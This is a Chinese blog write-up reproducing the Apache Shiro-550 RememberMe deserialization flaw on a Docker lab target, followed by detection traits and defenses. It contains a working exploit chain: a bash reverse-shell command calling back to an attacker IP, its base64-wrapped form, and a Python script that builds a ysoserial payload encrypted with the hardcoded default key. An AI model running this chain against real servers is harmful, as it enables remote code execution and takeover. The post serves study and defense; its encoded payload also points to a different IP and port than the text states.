Shiro漏洞验证与复现

Shiro

什么是shiro

Shiro 是 Apache 旗下的一个 Java 安全框架,全称 Apache Shiro。它负责解决应用程序中的身份验证、权限控制、加密、会话管理等安全问题。

可以把它理解为 Java 应用的“安保系统”。

shiro-550漏洞

项目

内容

漏洞编号

CVE-2016-4437

漏洞名称

Shiro-550 / Shiro RememberMe 反序列化漏洞

影响版本

Apache Shiro < 1.2.5(主要是 ≤1.2.4)

漏洞类型

反序列化 → 远程代码执行 (RCE)

危害等级

严重 (CVSS 9.8) 

漏洞原理

RememberMe 机制:Shiro 框架提供了“记住密码”(RememberMe)功能,用户登录后,服务器会生成一个加密的 cookie 存储在浏览器中,下次访问时自动识别身份。

cookie生成过程:

用户信息 → 序列化 → AES加密 → Base64编码 → 存入Cookie(rememberMe字段)

当服务端收到带有 rememberMe cookie 的请求时,会执行反向操作

读取Cookie → Base64解码 → AES解密 → 反序列化

问题:

1.硬编码的 AES 密钥:Shiro 1.2.4 及之前版本,AES 加密密钥是写死在代码里的默认值 kPH+bIxk5D2deZiIxcaaaA==,攻击者可以获取这个密钥

2.反序列化漏洞:解密后的数据会被反序列化,攻击者可以构造恶意序列化数据,在反序列化时执行任意代码

其漏洞的核心成因是cookie中的身份信息进行了AES加解密,用于加解密的密钥应该是绝对保密的,但在shiro版本<=1.2.24的版本中使用了固定的密钥。因此,验证漏洞的核心应该还是在于我们(攻击者)可否获得这个AES加密的密钥,如果确实是固定的密钥kPH+bIxk5D2deZiIxcaaaA==或者其他我们可以通过脚本工具爆破出来的密钥,那么shiro550漏洞才一定存在。

4.什么是序列化/反序列化

程序运行时的数据是存在于内存中的对象(比如一个 Java 对象、PHP 数组、Python 字典)。
但内存中的数据不能直接保存到文件、也不能直接通过网络传输。

序列化就是把「内存对象」变成「可存储 / 可传输的格式」(通常是字节序列或字符串)。

Eg.你有一个 Java 用户对象:User user = new User("admin", "123456");

把它序列化后,可能变成\xAC\xED\x00\x05sr\x00\x04User...

或者 JSON:{"username":"admin","password":"123456"}

反序列化  就是把「字节流 / 字符串」还原成「内存中的对象」

5.为什么反序列化会成为漏洞

反序列化时,对象的类型、行为、甚至任意代码执行逻辑,都可以被攻击者控制。

你以为是「还原数据」,实际上可能是在「执行攻击者设计好的恶意逻辑」。

攻击流程

用户可以对session值进行解码解密反序列化,得到必要的信息,然后根据这些构造自己的payload作为序列化,加密,编码,作为session返回到服务器端,当服务器端进行校验时,执行恶意代码。

攻击者思路:

  1. 准备恶意命令(如反弹shell)
  2. 将命令序列化成Java对象
  3. 使用已知的默认AES密钥加密
  4. Base64编码后放入Cookie的rememberMe字段
  5. 发送给目标服务器

服务器执行:

Base64解码 → AES解密 → 反序列化 → 执行恶意代码

7.漏洞检测

方法一:抓包看响应特征

登录时勾选“RememberMe”,用 BurpSuite 抓包,观察响应头中是否包含:

Set-Cookie: rememberMe=deleteMe;

方法二:主动探测

在请求的 Cookie 中手动添加 rememberMe=1,如果响应头返回 rememberMe=deleteMe,说明使用了 Shiro 框架。

GET / HTTP/1.1Host: target.comCookie: rememberMe=1

观察响应:

HTTP/1.1 200 OKSet-Cookie: rememberMe=deleteMe;

8.靶场搭建

# 1. 拉取镜像docker pull medicean/vulapps:s_shiro_1

# 2. 启动容器(将容器的8080端口映射到本地的8080端口)

docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1

# 3. 访问靶场# 浏览器打开 http://你的IP:8080

漏洞验证

登录抓包

未勾选rememberme

勾选rememberme

后续请求里cookie会携带rememberme

正常来说还有一个爆破AES密钥的过程,我就不做了,主要是了解一下shiro的反序列化漏洞

漏洞复现

Step1.开启端口,接收反弹shell

Step2.构造payload

bash -i >& /dev/tcp/192.168.187.129/6666 0>&1

组成部分

含义

bash -i

启动一个交互式 Shell(可以输入命令、看到输出)

>&

把标准输出(1)和标准错误(2)合并重定向

/dev/tcp/192.168.187.129/6666

Bash 特殊设备,用于建立一个 TCP 连接到 192.168.187.129:6666

0>&1

把标准输入(0)重定向到标准输出(1),让攻击机可以输入命令

让目标服务器启动一个命令行,然后主动打电话(TCP 连接)到攻击机的 6666 端口。通话接通后,攻击机说的话(命令)会传给目标服务器执行,目标服务器的回答(输出)会传回来给攻击机看。

Step3.base64绕过

bash -i >& /dev/tcp/192.168.187.129/6666 0>&1

编码后:

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==

包裹一下:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4Ny4xMjkvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}

原理:

echo,YmFz... 输出 Base64 字符串

base64,-d 解码成原始命令

bash,-i 执行解码后的命令

这样 >、<、| 等特殊字符都"藏"在了 Base64 字符串里,不会被 Java 的 Runtime.exec() 误解析。

Step4.生成最终payload

  1. 使用 ysoserial 生成 CommonsCollections5 的序列化 payload
  2. 使用 Shiro 默认 AES 密钥加密
  3. 生成随机 IV(初始化向量)
  4. Base64 编码后输出

用一个py脚本生成最终的rememberme

import base64, uuid, subprocess

from Crypto.Cipher import AES

def pad(s):

    BS = AES.block_size

    return s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()

def gen_payload(cmd):

    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'CommonsCollections5', cmd], stdout=subprocess.PIPE)

    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")

    iv = uuid.uuid4().bytes

    encryptor = AES.new(key, AES.MODE_CBC, iv)

    payload = pad(popen.stdout.read())

    return base64.b64encode(iv + encryptor.encrypt(payload)).decode()

cmd="bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}"

print("rememberMe=" + gen_payload(cmd))

生成rememberme,修改rememberme,重放

然后再看一下监听的6666端口,成功获取了反弹shell,就可以执行命令了

攻击流量特征

1. Cookie 长度异常

Cookie 中的 rememberMe 值长度 > 1000 → 高度可疑

2. Cookie 内容特征(Base64)

大量 + 和 /,末尾 = 较多

3.请求频率特征

同一 IP 短时间内发送几十上百个不同 rememberMe 值,用于批量爆破密钥

4.解密的序列化数据中包含已知危险类的包路径

5.网络层请求大小异常

防御方法

一、版本升级

升级 Shiro 到 1.2.5+(修复 550)

升级到 1.4.2+(默认禁用有风险的 RememberMe)

二、修改默认密钥

替换硬编码密钥 kPH+bIxk5D2deZiIxcaaaA==

使用随机生成的 16 字节 AES 密钥

三、禁用 RememberMe

如不需要 RememberMe 功能,直接关闭

配置中移除 RememberMeManager

四、WAF 规则

检测 rememberMe Cookie 长度 > 2000 字符

检测 Base64 中的 +、/、= 密集出现

限制同一 IP 的请求频率

五、代码加固

自定义 RememberMeManager,加入反序列化类白名单

限制反序列化的类范围

六、依赖管理

删除项目中不必要的 CommonsCollections 等危险库

如必须使用,升级到无 Gadget 链的版本

七、网络隔离

限制容器/服务器的出站流量

禁止应用以 root 权限运行

八、监控告警

监控异常的长 Cookie 请求

配置实时告警,发现即阻断

posted @ 2026-04-23 21:00  Doris055  阅读(110)  评论(0)    收藏  举报